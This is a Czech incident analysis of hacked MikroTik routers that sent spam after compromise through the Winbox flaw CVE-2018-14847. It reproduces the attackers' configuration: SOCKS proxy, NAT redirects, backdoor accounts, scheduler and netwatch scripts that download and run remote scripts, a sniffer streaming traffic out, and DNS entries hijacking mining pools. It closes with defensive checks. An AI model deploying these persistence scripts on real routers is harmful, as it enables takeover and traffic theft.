Jste si jistí, že nemáte v síti hacknutý MikroTik? V poslední době jsme narazili na několik MikroTik routerů, které vypadaly na první pohled standardně (Běžel přes ně provoz. Bylo možné se na ně přihlásit pomocí Winboxu.), ale u kterých se při podrobnějším prozkoumání ukázalo, že odesílají spam přes SMTP protokol. Pojďme se podívat na konkrétní příklad: Během několika minut se v emailové frontě objevilo více než 50 000 emailů. To není v pořádku. Daný router používal MikroTik RouterOS ve verzi 6.42.7. Nicméně k hacknutí muselo dojít někdy mezi 1.8.2018 a 1.9.2018. V té době byla na routeru nainstalována verze 6.40.x. K upgradu na verzi 6.42.7 došlo později, kdy byl již router kompromitován. Po analýze konfigurace routeru jsme zjistili, že na routeru byl zapnutý SOCKS server a přes něj byl celý router ovládán. SOCKS server běžel na portu 44550, ale je pravděpodobné, že používaný port může být na každém hacknutém routeru jiný. Analýza routeru 1) SOCKS server povolen /ip socks set enabled=yes port=44550
2) Nová pravidla ve Firewallu Ve firewallu byla spousta identických pravidel povolujících spojení na port 44550. /ip firewall filter Celkem zde bylo 71 stejných pravidel. Pravděpodobně se při každém úspěšném útoku přidalo jedno pravidlo. To znamená, že router byl napaden celkem 71krát.
3) Web proxy na portu 52107 povolena /ip proxy set anonymous=yes cache-on-disk=yes cache-path=web-proxy1 enabled=yes port=52107
4) Přidána pravidla pro přesměrování portů do NATu /ip firewall nat add action=dst-nat chain=dst-nat dst-port=3333 protocol=tcp to-addresses=\ 149.56.27.80 to-ports=3333 add action=dst-nat chain=dst-nat dst-port=8888 protocol=tcp to-addresses=\ 149.56.27.80 to-ports=3333 add action=dst-nat chain=dst-nat dst-port=14444 protocol=tcp to-addresses=\ 209.239.112.96 to-ports=4444 add action=dst-nat chain=dst-nat dst-port=8008 protocol=tcp to-addresses=\ 209.239.112.96 to-ports=4444 add action=dst-nat chain=dst-nat dst-port=4444 protocol=tcp to-addresses=\ 209.239.112.96 to-ports=4444 Při analýze síťového provozu je zřejmé, že na SOCKS server, na port 44550, se automaticky připojuje hned několik IP adres. Z dalších IP adres probíhalo skenování portů na otevřené služby.
5) Přidán účet pro připojení přes VPN /ppp secret add name=dodo password=dodo profile=dodo 6) Přidány statické DNS záznamy (Celý seznam je na konci dokumentu.)
Pokud měl nějaký počítač v síti nastavené DNS na napadený router, tak při pokusu o přístup na adresu ze seznamu byl cílový provoz přesměrován na úplně jinou IP adresu. Přesměrování probíhalo na tyto adresy: 185.205.210.23 209.239.112.96 7) Načasované úlohy /system scheduler add interval=5m name=u5 on-event="/tool fetch url=http://ciskotik.com/poll/9b6\ 482da-f83c-4573-af8b-d6b486188b85 mode=http dst-path=7xe7zt46hb08\r\ \n/import 7xe7zt46hb08" policy=\ ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\ sep/06/2018 start-time=16:16:11 Scheduler se pokoušel stáhnout skript a ten následně spustit URL http://ciskotik.com/poll/9b6482da-f83c-4573-af8b-d6b486188b85 však již nebyla 24.9.2018 aktivní. 8) Další instalovaná vychytávka v Netwatch /tool netwatch add comment=1 host=127.0.0.1 interval=30s up-script="\r\ \n/tool fetch url=\"http://47.96.89.95:8000/autosupout.rif\" dst-path=auto\ supout.rif\r\ \n:delay 5\r\ \n/im autosupout.rif\r\ \n/file remove [find name=autosupout.rif]\r\ \n \r\ \n:delay 3\r\ \n/tool netw en [find comment=2]\r\ \n" add comment=2 down-script="/tool net dis [find comment=1]\r\ \n:delay 30\r\ \n/tool net en [find comment=1]" host=192.168.254.123 interval=3m30s \ timeout=1ms URL http://47.96.89.95:8000/autosupout.rif obsahuje skript :if ([:len [/tool netw find]]=0) do={ /tool netwatch add comment=1 host=127.0.0.1 interval=30s up-script="\r\ \n/tool fetch url=\"http://47.96.89.95:8000/autosupout.rif\" dst-path=autosu\ pout.rif\r\ \n:delay 5\r\ \n/im autosupout.rif\r\ \n/file remove [find name=autosupout.rif]\r\ \n \r\ \n:delay 3\r\ \n/tool netw en [find comment=2]\r\ \n"
add disabled=yes comment=2 down-script="/tool net dis [find comment=1]\r\ \n:delay 30\r\ \n/tool net en [find comment=1]" host=192.168.254.123 interval=3m30s \ timeout=1ms } :if ([/in l2tp-s ser get enabled ]=false) do={/in l2tp-s ser set en=yes} :if ([:len [/user find name=default]]=0) do={/user add name=default pass=jackk} IP adresa 47.96.89.95 má podle Whois domov v Číně: inetnum: 47.96.0.0-47.97.255.255 netname: ALISOFT descr: Aliyun Computing Co., LTD descr: 5F, Builing D, the West Lake International Plaza of S&T descr: No.391 Wen'er Road, Hangzhou, Zhejiang, China, 310099 country: CN admin-c: ZM1015-AP tech-c: ZM877-AP tech-c: ZM876-AP tech-c: ZM875-AP mnt-by: MAINT-CNNIC-AP mnt-irt: IRT-CNNIC-CN status: ALLOCATED PORTABLE last-modified: 2015-02-27T01:59:04Z source: APNIC 9) Sniffer /tool sniffer set file-limit=100kib filter-interface=all filter-ip-protocol=tcp \ filter-port=ftp-data,ftp filter-stream=yes streaming-enabled=yes \ streaming-server=125.212.228.198 Cílová IP adresa 125.212.228.198 je podle Whois ve Vietnamu: inetnum: 125.212.128.0-125.212.255.255 netname: VIETTEL-VN descr: Viettel Group descr: No 1, Tran Huu Duc street, My Dinh 2 ward, Nam Tu Liem district, Ha Noi City country: VN admin-c: TVT8-AP tech-c: NDT9-AP remarks: For spamming matters, mail to soc@viettel.com.vn mnt-by: MAINT-VN-VNNIC status: ALLOCATED PORTABLE mnt-irt: IRT-VNNIC-AP last-modified: 2017-11-11T09:41:33Z source: APNIC
Díky Snifferu útočníci zjistili, který SMTP server se používá pro odesílání mailu a následně jej využili k odesílání spamů. Ke kompromitaci routeru došlo s největší pravděpodobností přes Winbox (CVE-2018-14847). Z analýzy je patrné, že hackeři této zranitelnosti využili k tomu, aby následně mohli napadené routery použít ke svým zlovolným účelům. Bližší informace naleznete na https://blog.mikrotik.com/security/winbox-vulnerability.html nebo https://n0p.me/winbox-bug-dissection/. Vzhledem k tomu, že ke kompromitaci routeru došlo dříve, tak po upgradu na verzi 6.42.7 byly všechny skripty a SOCKS server aktivní, takže router byl stále pod správou útočníků. Doporučujeme provést kontrolu routerů: 1) Zkontrolujte aktivní služby: /system services 2) Zkontrolujte, zdali není aktivní SOCKS server: /ip socks 3) Zkontrolujte, zdali není aktivní Web proxy: /ip web proxy 4) Zkontrolujte skripty: /system scripts 5) Povolte SSH, Winbox a API přístup pouze z důvěryhodných IP adres 6) Udržujte aktuální verzi RouterOS
V ISPadminu 5.02 beta1 je možné otestovat, zdali na routeru neběží Web proxy, SOCKS server a/nebo Sniffer. Také je možné provést hromadnou aktualizaci RouterOS. V Hardware / Routery / Router status / Dashboard najdete přehled routerů MikroTik. Jsou zde zobrazeny informace o instalovaných verzích RouterOS a o aktivních službách (/ip services). Taktéž jsou zde informace o tom, zdali je na některém routeru aktivní SOCKS server a/nebo Web proxy. Kliknutím na počet routerů se zobrazí detaily.
Pokud například kliknete na číslo v řádku Telnet a sloupci Celkem, budete přesměrováni na stránku s přehledem routerů, na kterých je spuštěn Telnet.
Pokud zaškrtnete příslušné checkboxy a z pop-up menu vyberete Aktualizovat Mikrotik OS, tak se u daných routerů provede upgrade na nejnovější verzi. Routery musí mít přístup k Internetu, aby si mohly stáhnout aktualizace. Bližší informace o aktualizaci routerů najdete na https://wiki.ispadmin.eu/cz/changelog/ispadmin-5-01
Výpis statických DNS /ip dns static add address=185.205.210.23 name=asia1.ethermine.org add address=185.205.210.23 name=asia1.ethpool.org add address=185.205.210.23 name=asia1.fullhashed.com add address=185.205.210.23 name=asia2.ethermine.org add address=185.205.210.23 name=cn.sparkpool.com add address=185.205.210.23 name=aurorapool.net add address=185.205.210.23 name=daggerhashimoto.br.nicehash.com add address=185.205.210.23 name=daggerhashimoto.eu.nicehash.com add address=185.205.210.23 name=daggerhashimoto.hk.nicehash.com add address=185.205.210.23 name=daggerhashimoto.in.nicehash.com add address=185.205.210.23 name=daggerhashimoto.jp.nicehash.com add address=185.205.210.23 name=daggerhashimoto.usa.nicehash.com add address=185.205.210.23 name=coinotron.com add address=185.205.210.23 name=eth.1stpool.com add address=185.205.210.23 name=eth.anorak.tech add address=185.205.210.23 name=eth.2miners.com add address=185.205.210.23 name=eth.antpool.com add address=185.205.210.23 name=eth-ar.dwarfpool.com add address=185.205.210.23 name=eth.arsmine.net add address=185.205.210.23 name=eth-as.coinmine.pl add address=185.205.210.23 name=eth-asia1.nanopool.org add address=185.205.210.23 name=eth-br.dwarfpool.com add address=185.205.210.23 name=eth.chileminers.cl add address=185.205.210.23 name=eth.coinfoundry.org add address=185.205.210.23 name=eth.coinmine.pl add address=185.205.210.23 name=ethepool.com add address=185.205.210.23 name=ether.bw.com add address=185.205.210.23 name=etherdig.net add address=185.205.210.23 name=ethereum.marshsoftware.ca add address=185.205.210.23 name=ethereumpool.club add address=185.205.210.23 name=ethergrab.us add address=185.205.210.23 name=ethermine.ru add address=185.205.210.23 name=ethertrench.com add address=185.205.210.23 name=eth.ethertrench.com add address=185.205.210.23 name=eth-eu1.nanopool.org add address=185.205.210.23 name=eth-eu.coinmine.pl add address=185.205.210.23 name=eth-eu.dwarfpool.com add address=185.205.210.23 name=eth-eu.mining.sk add address=185.205.210.23 name=eth-eu.pool.sexy add address=185.205.210.23 name=eth.f2pool.com add address=185.205.210.23 name=eth.gigantpool.com add address=185.205.210.23 name=eth.gpumine.org add address=185.205.210.23 name=eth-hk.dwarfpool.com add address=185.205.210.23 name=eth.miningcity.org add address=185.205.210.23 name=eth.mymininghub.com add address=185.205.210.23 name=eth.pool.minergate.com add address=185.205.210.23 name=eth.poolmining.org
add address=185.205.210.23 name=eth-pool.ucrypto.net add address=185.205.210.23 name=eth.pool.zet-tech.eu add address=185.205.210.23 name=eth-ru.dwarfpool.com add address=185.205.210.23 name=eth-ru.edgestile.io add address=185.205.210.23 name=eth-ru.mining.sk add address=185.205.210.23 name=eth-sg.dwarfpool.com add address=185.205.210.23 name=eth.soyminero.es add address=185.205.210.23 name=eth.suprnova.cc add address=185.205.210.23 name=eth.uleypool.com add address=185.205.210.23 name=eth-us.coinmine.pl add address=185.205.210.23 name=eth-us.dwarfpool.com add address=185.205.210.23 name=eth-us-east1.nanopool.org add address=185.205.210.23 name=eth-us.maxhash.org add address=185.205.210.23 name=eth-us.pool.sexy add address=185.205.210.23 name=eth-us-west1.nanopool.org add address=185.205.210.23 name=eth.waterhole.io add address=185.205.210.23 name=eth.xeminer.net add address=185.205.210.23 name=eth.zion.net.co add address=185.205.210.23 name=eu1.ethermine.org add address=185.205.210.23 name=eu1.ethpool.org add address=185.205.210.23 name=eu2.ethermine.org add address=185.205.210.23 name=eu.99miners.com add address=185.205.210.23 name=eu.ethmine.club add address=185.205.210.23 name=eu.sparkpool.com add address=185.205.210.23 name=huabei2-pool.ethfans.org add address=185.205.210.23 name=huabei-pool.ethfans.org add address=185.205.210.23 name=miningcity.org add address=185.205.210.23 name=my.ethpool.net add address=185.205.210.23 name=na-west.sparkpool.com add address=185.205.210.23 name=na-east.sparkpool.com add address=185.205.210.23 name=noobpool.com add address=185.205.210.23 name=pool.ethfans.org add address=185.205.210.23 name=pool.virtualmining.pt add address=185.205.210.23 name=s.comining.io add address=185.205.210.23 name=us1.ethermine.org add address=185.205.210.23 name=us1.ethpool.org add address=185.205.210.23 name=us2.ethermine.org add address=185.205.210.23 name=us2.ethpool.org add address=185.205.210.23 name=vaux-all.uk add address=209.239.112.96 name=stratum.antpool.com add address=209.239.112.96 name=stratum.slushpool.com add address=209.239.112.96 name=cn.stratum.slushpool.com add address=209.239.112.96 name=eu.stratum.slushpool.com add address=209.239.112.96 name=jp-stratum.btcc.com add address=209.239.112.96 name=mint.bitminter.com add address=209.239.112.96 name=us.ss.btc.com add address=209.239.112.96 name=na-west.sparkpool.com add address=209.239.112.96 name=asia1.ethermine.org add address=209.239.112.96 name=na-east.sparkpool.com add address=209.239.112.96 name=asia1.ethpool.org add address=209.239.112.96 name=tw.sparkpool.com add address=209.239.112.96 name=asia1.fullhashed.com add address=209.239.112.96 name=kr.sparkpool.com add address=209.239.112.96 name=asia2.ethermine.org add address=209.239.112.96 name=jp.sparkpool.com add address=209.239.112.96 name=cn.sparkpool.com
add address=209.239.112.96 name=bitcoin.viabtc.com add address=209.239.112.96 name=aurorapool.net add address=209.239.112.96 name=stratum-us.f2pool.com add address=209.239.112.96 name=daggerhashimoto.br.nicehash.com add address=209.239.112.96 name=daggerhashimoto.eu.nicehash.com add address=209.239.112.96 name=stratum.f2pool.com add address=209.239.112.96 name=daggerhashimoto.hk.nicehash.com add address=209.239.112.96 name=stratum.btcguild.com add address=209.239.112.96 name=daggerhashimoto.in.nicehash.com add address=209.239.112.96 name=stratum.btccpool.com add address=209.239.112.96 name=daggerhashimoto.jp.nicehash.com add address=209.239.112.96 name=stratum.btc.top add address=209.239.112.96 name=daggerhashimoto.usa.nicehash.com add address=209.239.112.96 name=coinotron.com add address=209.239.112.96 name=eth.1stpool.com add address=209.239.112.96 name=eth.anorak.tech add address=209.239.112.96 name=eth.2miners.com add address=209.239.112.96 name=eth.antpool.com add address=209.239.112.96 name=eth-ar.dwarfpool.com add address=209.239.112.96 name=eth.arsmine.net add address=209.239.112.96 name=eth-as.coinmine.pl add address=209.239.112.96 name=eth-asia1.nanopool.org add address=209.239.112.96 name=eth-br.dwarfpool.com add address=209.239.112.96 name=eth.chileminers.cl add address=209.239.112.96 name=eth.coinfoundry.org add address=209.239.112.96 name=eth.coinmine.pl add address=209.239.112.96 name=ethepool.com add address=209.239.112.96 name=ether.bw.com add address=209.239.112.96 name=etherdig.net add address=209.239.112.96 name=ethereum.marshsoftware.ca add address=209.239.112.96 name=ethereumpool.club add address=209.239.112.96 name=ethergrab.us add address=209.239.112.96 name=ethermine.ru add address=209.239.112.96 name=ethertrench.com add address=209.239.112.96 name=eth.ethertrench.com add address=209.239.112.96 name=eth-eu1.nanopool.org add address=209.239.112.96 name=eth-eu.coinmine.pl add address=209.239.112.96 name=eth-eu.dwarfpool.com add address=209.239.112.96 name=eth-eu.mining.sk add address=209.239.112.96 name=eth-eu.pool.sexy add address=209.239.112.96 name=eth.f2pool.com add address=209.239.112.96 name=eth.gigantpool.com add address=209.239.112.96 name=eth.gpumine.org add address=209.239.112.96 name=eth-hk.dwarfpool.com add address=209.239.112.96 name=eth.miningcity.org add address=209.239.112.96 name=eth.mymininghub.com add address=209.239.112.96 name=eth.pool.minergate.com add address=209.239.112.96 name=eth.poolmining.org add address=209.239.112.96 name=eth-pool.ucrypto.net add address=209.239.112.96 name=eth.pool.zet-tech.eu add address=209.239.112.96 name=eth-ru.dwarfpool.com add address=209.239.112.96 name=eth-ru.edgestile.io add address=209.239.112.96 name=eth-ru.mining.sk add address=209.239.112.96 name=eth-sg.dwarfpool.com add address=209.239.112.96 name=eth.soyminero.es add address=209.239.112.96 name=eth.suprnova.cc
add address=209.239.112.96 name=eth.uleypool.com add address=209.239.112.96 name=eth-us.coinmine.pl add address=209.239.112.96 name=eth-us.dwarfpool.com add address=209.239.112.96 name=eth-us-east1.nanopool.org add address=209.239.112.96 name=eth-us.maxhash.org add address=209.239.112.96 name=eth-us.pool.sexy add address=209.239.112.96 name=eth-us-west1.nanopool.org add address=209.239.112.96 name=eth.waterhole.io add address=209.239.112.96 name=eth.xeminer.net add address=209.239.112.96 name=eth.zion.net.co add address=209.239.112.96 name=eu1.ethermine.org add address=209.239.112.96 name=eu1.ethpool.org add address=209.239.112.96 name=eu2.ethermine.org add address=209.239.112.96 name=eu.99miners.com add address=209.239.112.96 name=eu.ethmine.club add address=209.239.112.96 name=eu.sparkpool.com add address=209.239.112.96 name=huabei2-pool.ethfans.org add address=209.239.112.96 name=huabei-pool.ethfans.org add address=209.239.112.96 name=miningcity.org add address=209.239.112.96 name=my.ethpool.net add address=209.239.112.96 name=noobpool.com add address=209.239.112.96 name=pool.ethfans.org add address=209.239.112.96 name=pool.virtualmining.pt add address=209.239.112.96 name=s.comining.io add address=209.239.112.96 name=us1.ethermine.org add address=209.239.112.96 name=us1.ethpool.org add address=209.239.112.96 name=us2.ethermine.org add address=209.239.112.96 name=us2.ethpool.org add address=209.239.112.96 name=vaux-all.uk